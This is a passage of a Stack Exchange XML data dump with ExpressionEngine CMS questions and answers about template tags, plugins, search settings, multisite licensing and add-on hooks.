href=&quot;{path='blog/by_tag'}/{websafe_tag}&quot;&amp;gt;{tag}&amp;lt;/a&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;{/exp:tag:cloud}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, it doesn't work because {segment_3} displays the tag name without the + separator. For example&lt;br&gt;&#xA;{websafe_tag} = control+system+failure&lt;br&gt;&#xA;{segment_3} = control system failure&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've even tried using {last_url_segment} from the &lt;a href=&quot;https://github.com/green-egg-media/Current&quot; rel=&quot;nofollow&quot;&gt;Current Extension&lt;/a&gt;, but that also produced the tag without the plus sign.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any ideas on how I can get the active class added?&lt;/p&gt;&#xA;" OwnerUserId="6485" LastActivityDate="2015-08-11T09:07:50.053" Title="Add active class to Solspace Tag list" Tags="|solspace|conditionals|tags|solspace-tag|css|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32612" PostTypeId="1" CreationDate="2015-08-10T22:28:27.880" Score="0" ViewCount="30" Body="&lt;p&gt;I have the code below, where I am generating a new list for each 16 entries using Grouper plugin. Note, these list items are being ordered by last name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when the viewport width is reduced and those columns collapse underneath one another, the alphabetical ordering is no longer correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought if I used MX Mobile Detect plugin, I could write a conditional to output a different &lt;code&gt;groupby=&quot;number&quot;&lt;/code&gt; based on the viewport size, but unfortunately that plugin is not working on EE v2.10.1, throws an infinite loop and page won't load, and it doesn't look like it's supported any longer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2 questions:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Are there any plugins to achieve what I'm trying to accomplish?  &lt;/li&gt;&#xA;&lt;li&gt;If not, any recommendations on how to accomplish this?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;HTML:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;col-holder clearfix text-capitalize speakers-menu large-menu&quot;&amp;gt;&#xA;    {exp:channel:entries channel=&quot;speakers&quot; dynamic=&quot;off&quot; orderby=&quot;last_name&quot; search:navigation_exclude=&quot;not y&quot; sort=&quot;asc&quot;}&#xA;        {exp:grouper:start groupby=&quot;16&quot; count=&quot;{count}&quot; total=&quot;{total_results}&quot;}&#xA;            &amp;lt;ul class=&quot;list-unstyled&quot;&amp;gt;&#xA;        {/exp:grouper:start}&#xA;                &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{url_title_path='site/speaker'}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;  &#xA;        {exp:grouper:end groupby=&quot;16&quot; count=&quot;{count}&quot; total=&quot;{total_results}&quot;}&#xA;            &amp;lt;/ul&amp;gt;&#xA;        {/exp:grouper:end}&#xA;    {/exp:channel:entries}                                  &#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As an added note, I was able to build something out that works as a temp fix, but definitely clunky and redundant code and not how I like it. I assigned a different class to each div, &lt;code&gt;large-menu&lt;/code&gt; and &lt;code&gt;small-menu&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;HTML:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;col-holder clearfix text-capitalize speakers-menu large-menu&quot;&amp;gt;&#xA;    {exp:channel:entries channel=&quot;speakers&quot; dynamic=&quot;off&quot; orderby=&quot;last_name&quot; search:navigation_exclude=&quot;not y&quot; sort=&quot;asc&quot;}&#xA;        {exp:grouper:start groupby=&quot;16&quot; count=&quot;{count}&quot; total=&quot;{total_results}&quot;}&#xA;            &amp;lt;ul class=&quot;list-unstyled&quot;&amp;gt;&#xA;        {/exp:grouper:start}&#xA;                &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{url_title_path='site/speaker'}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;  &#xA;        {exp:grouper:end groupby=&quot;16&quot; count=&quot;{count}&quot; total=&quot;{total_results}&quot;}&#xA;            &amp;lt;/ul&amp;gt;&#xA;        {/exp:grouper:end}&#xA;    {/exp:channel:entries}                                  &#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;!-- --&amp;gt;&#xA;&amp;lt;div class=&quot;col-holder clearfix text-capitalize speakers-menu small-menu&quot;&amp;gt;&#xA;    {exp:channel:entries channel=&quot;speakers&quot; dynamic=&quot;off&quot; orderby=&quot;last_name&quot; search:navigation_exclude=&quot;not y&quot; sort=&quot;asc&quot;}&#xA;        {exp:grouper:start groupby=&quot;45&quot; count=&quot;{count}&quot; total=&quot;{total_results}&quot;}&#xA;            &amp;lt;ul class=&quot;list-unstyled&quot;&amp;gt;&#xA;        {/exp:grouper:start}&#xA;                &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{url_title_path='site/speaker'}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;  &#xA;        {exp:grouper:end groupby=&quot;45&quot; count=&quot;{count}&quot; total=&quot;{total_results}&quot;}&#xA;            &amp;lt;/ul&amp;gt;&#xA;        {/exp:grouper:end}&#xA;    {/exp:channel:entries}                                  &#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;CSS:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;@media only screen and (max-width: 1023px) {&#xA;  .small-menu {&#xA;    display: block;&#xA;  }&#xA;  .large-menu {&#xA;    display: none;&#xA;  }&#xA;&#xA;}&#xA;@media only screen and (min-width: 1024px) {&#xA;  .small-menu {&#xA;    display: none;&#xA;  }&#xA;  .large-menu {&#xA;    display: block;&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2889" LastActivityDate="2015-09-10T16:29:50.160" Title="Change number of entries in multiple lists based on viewport size" Tags="|channel-entries|list|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32615" PostTypeId="1" CreationDate="2015-08-11T08:34:47.797" Score="1" ViewCount="58" Body="&lt;p&gt;I'm finding in EE 2.10.1 that if I try to check for the presence of a valid category in a URL using Low Seg2Cat and then perform a redirect on error that when the 404 template is rendered it inherits the layout and layout variables specified beneath the redirect in the original template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if !segment_3_category_id}&#xA;{redirect=&quot;404&quot;}&#xA;{/if}&#xA;{layout=&quot;global/.layout_2col&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This doesn't appear to be a problem when not using layouts. It's as if the layout is processed before the redirect and then the content of the 404 template is inserted 'into' the layout of the page/url which generated the 404.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm thinking this could possibly be related to &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/25145/unexpected-results-when-using-redirect-404-and-template-layouts&quot;&gt;Unexpected results when using {redirect=404} and template layouts&lt;/a&gt; but as I'm using 2.10.1 the patch associated with that is already applied.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;:?&lt;/p&gt;&#xA;" OwnerUserId="389" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2015-08-11T08:34:47.797" Title="404 not rendering correctly when using template layouts" Tags="|404|parsing|layouts|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32616" PostTypeId="2" ParentId="32611" CreationDate="2015-08-11T09:07:50.053" Score="0" Body="&lt;p&gt;Indeed &lt;code&gt;{segment_x}&lt;/code&gt; would replace &lt;code&gt;+&lt;/code&gt; with a space &lt;code&gt;&lt;/code&gt; when parsed in templates, so &lt;code&gt;{segment_3}&lt;/code&gt; and &lt;code&gt;{websafe_tag}&lt;/code&gt; wouldn't match. Here are a few possible solutions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Instead of &lt;code&gt;{websafe_tag}&lt;/code&gt;, why not use &lt;code&gt;{tag}&lt;/code&gt;? &lt;code&gt;control+system+failure&lt;/code&gt; would be &lt;code&gt;control system failure&lt;/code&gt;, which should match the &lt;code&gt;{segment_3}&lt;/code&gt; which has spaces instead of &lt;code&gt;+&lt;/code&gt; in templates.&lt;/li&gt;&#xA;&lt;li&gt;You could always use tag_ids in your URL instead of websafe_tag. You can't go wrong with IDs, since they don't vary like words do.&lt;/li&gt;&#xA;&lt;li&gt;You could use PHP to replace spaces with &lt;code&gt;+&lt;/code&gt; in &lt;code&gt;{segment_3}&lt;/code&gt; (or replace &lt;code&gt;+&lt;/code&gt; with spaces in &lt;code&gt;{websafe_tag}&lt;/code&gt;. Try turning on PHP and set it to Input and try this: &lt;code&gt;{if &quot;&amp;lt;?php echo str_replace(' ', '+', '{segment_3}'); ?&amp;gt;&quot; == websafe_tag}&lt;/code&gt;. &lt;code&gt;{segment_3}&lt;/code&gt; should parse before PHP kicks in, and therefore be available to the &lt;code&gt;str_replace()&lt;/code&gt; PHP function.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="884" LastActivityDate="2015-08-11T09:07:50.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32617" PostTypeId="2" ParentId="25704" CreationDate="2015-08-11T09:19:38.577" Score="1" Body="&lt;p&gt;IP to Nation doesn't set an action (ACT), so I don't think there's a neat way of doing this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In ExpressionEngine, actions are given a unique ID and you can load /index.php?ACT=1234 to execute the action's code. For modules that use ACT you can run cron jobs by curl'ing the URL.&lt;/p&gt;&#xA;" OwnerUserId="96" LastActivityDate="2015-08-11T09:19:38.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32618" PostTypeId="2" ParentId="32612" CreationDate="2015-08-11T12:20:47.800" Score="1" Body="&lt;p&gt;Friend-o, the DOM viewport is &lt;strong&gt;client side&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://detectmobilebrowsers.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://detectmobilebrowsers.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using these scripts you can detect the user-agent header. This still won't tell you the viewport size, just if someone is on mobile.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do exactly what you want, you'd have to write some JavaScript to watch the viewport size and then rebuild your channel entries loop with ajax. This will help:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/13138100/loading-entries-in-expressionengine-with-ajax&quot;&gt;https://stackoverflow.com/questions/13138100/loading-entries-in-expressionengine-with-ajax&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2015-09-10T16:29:50.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32619" PostTypeId="1" AcceptedAnswerId="32620" CreationDate="2015-08-11T12:25:06.087" Score="0" ViewCount="86" Body="&lt;p&gt;Updated EE v2.10.1 and using Wygwam v3.3.3&#xA;I have it set to initialize on click, and can see the field and all the content correctly. Clicking on the field makes it completely disappear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Doesn't appear to be any errors(?).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thought it may related to Channel Images but it appears the CI plugin for Wygwam is incorporated in the dl.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is appreciated.&lt;/p&gt;&#xA;" OwnerUserId="2794" LastActivityDate="2015-08-11T12:33:21.457" Title="Wygwam not loading" Tags="|pixelandtonic|wygwam|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32620" PostTypeId="2" ParentId="32619" CreationDate="2015-08-11T12:33:21.457" Score="1" Body="&lt;p&gt;Have you updated Channel Images addon as well? Have you checked your developer console to see your JavaScript errors? It is almost certainly a 404 (like @balloonatic said), a JavaScript conflict, or an un-updated addon in general.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-08-11T12:33:21.457" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32621" PostTypeId="1" CreationDate="2015-08-11T13:49:24.427" Score="0" ViewCount="845" Body="&lt;p&gt;I'm new to expressionengine, and am looking to understand the channel:entries loop better. In the interest of that, I've been looking for something that allows me to print_r or var_dump a channel:entries structure as a whole, and a given row of that structure, like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;// Note that this is certainly not correct ee syntax, but rather a plain php representation of what I'm trying to do:&#xA;$results = {channel:entries};&#xA;print_r($results); // Show members of the channel:entries tag.&#xA;&#xA;foreach ($results as $row) {&#xA;    print_r($row); // Show members of a single row of the result set.&#xA;}&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Clarification: in no way am I attempting to output any of this information to a page -- this is merely an attempt to better understand the data contained in a row, so I can make better use of this project I've inherited.&lt;/p&gt;&#xA;" OwnerUserId="6514" LastEditorUserId="6514" LastEditDate="2015-08-11T15:47:38.670" LastActivityDate="2017-06-14T18:38:47.617" Title="Looking for print_r or var_dump equiv for channel:entries row" Tags="|php|debugging|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32623" PostTypeId="2" ParentId="32621" CreationDate="2015-08-11T14:06:03.230" Score="1" Body="&lt;p&gt;OK, I understand what you're asking, but it doesn't primarily make sense in context to a Channel Entries loop and the EE Template Parsing engine. However, I believe you really are looking for something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!--&#xA;This is my template&#xA;It has PHP Parsing set to `Output`&#xA;--}&#xA;&#xA;&amp;lt;!-- This is our Channel Entries loop, outputting the last 10 entries --&amp;gt;&#xA;{exp:channel:entries channel=&quot;news&quot; limit=&quot;10&quot;}&#xA;&#xA;    &amp;lt;h1&amp;gt;&#xA;        &amp;lt;!-- Output this entry's title --&amp;gt;&#xA;        {title}&#xA;    &amp;lt;/h1&amp;gt;&#xA;&#xA;    &amp;lt;?php&#xA;    // Hrmmm.. what do we have here?&#xA;    var_dump(&quot;{title}&quot;);&#xA;    ?&amp;gt;&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you really gotta do things the way you're asking, you can, but it's seriously pointless and overkill (If you're developing for someone, and they don't let your EE Member view channel fields groups [which will tell you your exact information for that channel, minus the default info that goes with every channel entry], friggin' quit. They are awful).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you really need more information, go to the EE docs and browse, but the only other answer is to use MySQL to query the database for a channel entries information. And in that case, why use EE at all if you're going to write your own queries?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dude, it's all here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="3579" LastEditDate="2015-08-11T15:47:01.283" LastActivityDate="2015-08-11T15:47:01.283" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="32624" PostTypeId="2" ParentId="32579" CreationDate="2015-08-11T14:13:56.160" Score="0" Body="&lt;p&gt;Try changing this parameter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;result_page=&quot;search/index&quot; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;result_page=&quot;{site_url}search/index&quot; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You may need to add a slash after &lt;code&gt;{site_url}&lt;/code&gt; depending on what that var is set as.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-08-11T14:13:56.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32625" PostTypeId="1" CreationDate="2015-08-11T18:29:14.193" Score="0" ViewCount="43" Body="&lt;p&gt;Looking at building a search form which sends an email alert to a members based on search terms eg: membership level/location/custom fields/tags/categories. In addition I need to send an additional email to other EE member's after 24 &amp;amp; 72 hours depending on level of membership and if they also match the search criteria. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have looked at Postmaster &amp;amp; Super Search but not 100% sure if I will be able to do all of this. Is it possible just using Postmaster or should something custom be built here?&lt;/p&gt;&#xA;" OwnerUserId="433" LastEditorUserId="433" LastEditDate="2015-08-12T18:30:26.937" LastActivityDate="2015-08-12T18:30:26.937" Title="Send an email based on search inputs" Tags="|email|supersearch|postmaster|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32626" PostTypeId="1" AcceptedAnswerId="32631" CreationDate="2015-08-11T19:34:29.087" Score="0" ViewCount="157" Body="&lt;p&gt;We were recently having issues with MSM in ExpressionEngine, and we were told that we had the wrong version of MSM for our version of ExpressionEngine. We are running version 2.5.5. We were told to contact ExpressionEngine to get a version of MSM that would work with our build. We were sent MSM 2.1.4, the installation went well, and I am able to click on the Edit Sites button and get to the Edit Sites page. However while on this page, the Create New Site button does not display. I'm not sure what the issue is. &lt;/p&gt;&#xA;" OwnerUserId="6496" LastActivityDate="2015-08-12T11:02:50.090" Title="Multisite - Create New Site Button Not Appearing" Tags="|multi-site-manager|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32629" PostTypeId="1" CreationDate="2015-08-11T19:50:12.170" Score="1" ViewCount="42" Body="&lt;p&gt;I'm using the Squarebit Shortlist module and extending it to add multiple items at once using my own module. I'm calling shortlist_item_model-&gt;add and passing a key array with an entry_id and a list_id but for each time I call that function (despite passing the same list_id) the Shortlist module is creating a new list. I'm at a loss...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function Add_multiples() {&#xA;&#xA;    ee()-&amp;gt;load-&amp;gt;add_package_path(PATH_THIRD.'shortlist');&#xA;    if(!class_exists('Shortlist_model')) ee()-&amp;gt;load-&amp;gt;library('Shortlist_model');&#xA;    if(!isset(ee()-&amp;gt;shortlist_core_model)) Shortlist_model::load_models();&#xA;&#xA;    // Before we do anything clear all lists&#xA;    ee()-&amp;gt;shortlist_list_model-&amp;gt;clear_list(array('all_lists'=&amp;gt;TRUE));&#xA;&#xA;    $entry_ids = ee()-&amp;gt;input-&amp;gt;post('entry_ids');&#xA;&#xA;    $keys = array();&#xA;&#xA;    foreach($entry_ids AS $entry_id) {&#xA;&#xA;        // Create our keys&#xA;        $keys['entry_id'] = $entry_id;&#xA;&#xA;        // Insert our item into the default list&#xA;        $item_id = ee()-&amp;gt;shortlist_item_model-&amp;gt;add($keys);&#xA;&#xA;        // Make sure we add subsequent items with the same list_id&#xA;        if (!isset($keys['list_id'])) {&#xA;            $item = ee()-&amp;gt;shortlist_item_model-&amp;gt;get_one($item_id);&#xA;            $keys['list_id'] = $item['list_id'];&#xA;        }&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any thoughts greatly appreciated. :)&lt;/p&gt;&#xA;" OwnerUserId="389" LastActivityDate="2015-08-11T19:50:12.170" Title="Trying to add items to a Shortlist using my own module" Tags="|module|custom|shortlist|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32631" PostTypeId="2" ParentId="32626" CreationDate="2015-08-12T11:02:50.090" Score="0" Body="&lt;p&gt;This may seem an obvious question, but have you reached the maximum number of MSM site licences you have purchased with Expression Engine?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each time you purchase an extra site licence, the MSM package you download from EllisLab contains the file &lt;em&gt;system/expressionengine/libraries/Sites.php&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This PHP file contains three hashes: &lt;em&gt;$num_sites_allowed&lt;/em&gt;, &lt;em&gt;$the_sites_allowed&lt;/em&gt; and &lt;em&gt;$sites_allowed_num&lt;/em&gt; which are referenced by the MSM module - no doubt removing the &quot;Create New Site&quot; button if the wrong Sites.php file is used in the installation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do have enough licenses purchased, then it's just a case of copying Sites.php from your old MSM installation (or downloading a package of the MSM again from you Ellislab account and extracting it manually) and replacing it.&lt;/p&gt;&#xA;" OwnerUserId="3407" LastActivityDate="2015-08-12T11:02:50.090" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32632" PostTypeId="1" CreationDate="2015-08-12T13:18:43.753" Score="0" ViewCount="172" Body="&lt;p&gt;I would like to search the specific keyword in all fields of all channels in Expression Engine. As there is only one excerpt option for each channel, I couldn't apply it to all fields in channel. Any option available to make all channel fields marked as excerpt to search entire site?&lt;/p&gt;&#xA;" OwnerUserId="6558" LastActivityDate="2015-08-13T14:06:07.970" Title="Search option for entire site?" Tags="|search|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32633" PostTypeId="2" ParentId="32632" CreationDate="2015-08-12T13:30:35.480" Score="0" Body="&lt;p&gt;... You can make all fields searchable. Not just excerpts. If you go to your field group, and edit any particular field, you can just set this setting:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/5yKOg.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5yKOg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;LOL, but set that settings to &lt;code&gt;Yes&lt;/code&gt; and save the field group. TADA!&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-08-12T13:30:35.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32634" PostTypeId="2" ParentId="32632" CreationDate="2015-08-12T13:30:45.350" Score="2" Body="&lt;p&gt;The field you choose per-channel to use as an excerpt only determines what will be used to generate the contents of the &lt;code&gt;{excerpt}&lt;/code&gt; variable inside the &lt;code&gt;{exp:search:search_results}&lt;/code&gt; tag. It has no effect on whether a field is actually searched by the module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All fields from all channels can be included in search by setting the &lt;strong&gt;Is field searchable?&lt;/strong&gt; option to &lt;strong&gt;Yes&lt;/strong&gt; on that field's &lt;strong&gt;Edit Field&lt;/strong&gt; screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also make sure that you set the &lt;code&gt;search_in&lt;/code&gt; parameter on the &lt;code&gt;{exp:search:simple_form}&lt;/code&gt; tag to either &lt;code&gt;everywhere&lt;/code&gt; or &lt;code&gt;entries&lt;/code&gt;, as it defaults to only searching &lt;code&gt;titles&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-08-12T13:30:45.350" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32635" PostTypeId="1" CreationDate="2015-08-12T13:34:04.833" Score="0" ViewCount="129" Body="&lt;p&gt;Is it possible to replace/prepend the file name on upload with some member data?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example original file is called file_data.zip but then prepend the filename with third_hyperion_991 leaving third_hyperion_991_file_data.zip&lt;/p&gt;&#xA;" OwnerUserId="3335" LastActivityDate="2016-06-02T11:30:22.213" Title="Free Form Pro File Upload File Name" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32636" PostTypeId="1" CreationDate="2015-08-12T13:37:58.290" Score="0" ViewCount="91" Body="&lt;p&gt;Working on a site with EE 2.5.1, so maybe this can only be resolved with an upgrade...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have set the &quot;Category URL Title in Links?&quot; to &quot;yes&quot; in Global Channel Preferences.  The site does output example.com/category/actual-category-name, but it is also outputting example.com/index.php/category/C5.  How do I stop the /index.php/category/C5 links from being active?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="3740" LastActivityDate="2016-06-02T16:30:26.097" Title="Use Category URL Titles In Links set to Yes, both types of link showing" Tags="|categories|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="32637" PostTypeId="2" ParentId="32635" CreationDate="2015-08-12T14:38:27.597" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/extension_hooks/global/filemanager/index.html#file-after-save&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/development/extension_hooks/global/filemanager/index.html#file-after-save&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://php.net/manual/en/function.rename.php&quot; rel=&quot;nofollow&quot;&gt;http://php.net/manual/en/function.rename.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suggestion: Use the &lt;code&gt;file_after_save&lt;/code&gt; hook to simply rename the file in a custom extension. You will then have to update the related file info in the database (and probably where it's connections live in your channel data rows).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This assumes you are using a native file field in FreeForm. If you're using an assets field, the hook might be different. If using assets, one of these suckers will be your prize:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.pixelandtonic.com/assets/developers/hooks/index.html&quot; rel=&quot;nofollow&quot;&gt;http://docs.pixelandtonic.com/assets/developers/hooks/index.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-08-12T14:38:27.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32638" PostTypeId="1" CreationDate="2015-08-12T14:49:55.413" Score="0" ViewCount="48" Body="&lt;p&gt;I'm using GwCategories to get all subcategories from a certain parent category (in this case, main_cat_id). Within this list, I'm adding a nested list, training_list_{cat_id}. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my template, I can see the categories listed, but the nested list shows nothing. Now, I know that one of the subcategories has the ID 60. I replace {cat_id} in the example below by a hard-coded 60, the list does show. So I'm having a bit of a parsing issue here, I guess.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my (somewhat stripped) code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list name=&quot;categories_list&quot; parse_tags=&quot;yes&quot;}&#xA;    {exp:gwcode_categories custom_fields=&quot;yes&quot; channel=&quot;channel&quot; cat_id=&quot;{main_cat_id}&quot; depth=&quot;2&quot;}&#xA;        {stash:category_name}{cat_name}{/stash:category_name}&#xA;        {stash:category_id}{cat_id}{/stash:category_id}&#xA;&#xA;        {exp:stash:set_list:nested name=&quot;training_list_{cat_id}&quot; parse_tags=&quot;yes&quot;}&#xA;            {exp:channel:entries channel=&quot;channel&quot; dynamic=&quot;no&quot; category=&quot;{cat_id}&quot;}&#xA;                {stash:entry_id}{entry_id}{/stash:entry_id}&#xA;                {stash:title}{title} - {cat_id}{/stash:title}&#xA;            {/exp:channel:entries}&#xA;        {/exp:stash:set_list:nested}&#xA;    {/exp:gwcode_categories}&#xA;{/exp:stash:set_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="3830" LastActivityDate="2016-05-23T03:38:59.570" Title="GWCategories + Stash" Tags="|categories|stash|gwcode-categories|nested-list|mustash|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32639" PostTypeId="1" CreationDate="2015-08-12T15:03:15.393" Score="0" ViewCount="180" Body="&lt;p&gt;I have a bakery site that uses Switchee to use a single template to serve up multiple &quot;pages&quot;, the content of each case is a snippet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On my order page, I have channel entries products whose categories are being filtered by using the jQuery plugin MixItUp. This is working fine, but when I want to send a &quot;deep link&quot; to the order page to display ONLY the category in a URL hash&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.example.com/order#cakes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I cannot figure out for the life of me how to make this work. My js code in the footer is as such:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;$(document).ready(function(){&#xA;&#xA;    // check if there is a url hash, and if so, &#xA;    // save it as a variable and prepend a '.' to the start - e.g. '.blue'&#xA;    // else, set variable as the default &quot;all&quot;&#xA;&#xA;    var filterOnLoad = window.location.hash ? '.'+window.location.hash : 'all';&#xA;&#xA;    // Instantiate MixItUp:&#xA;    $('#Container').mixItUp();&#xA;    load: {&#xA;            filter: filterOnLoad&#xA;        };&#xA;    controls: {&#xA;            activeClass: 'favorite-filter'&#xA;        };&#xA;    animation: {&#xA;            enable: 'true'&#xA;            effects: 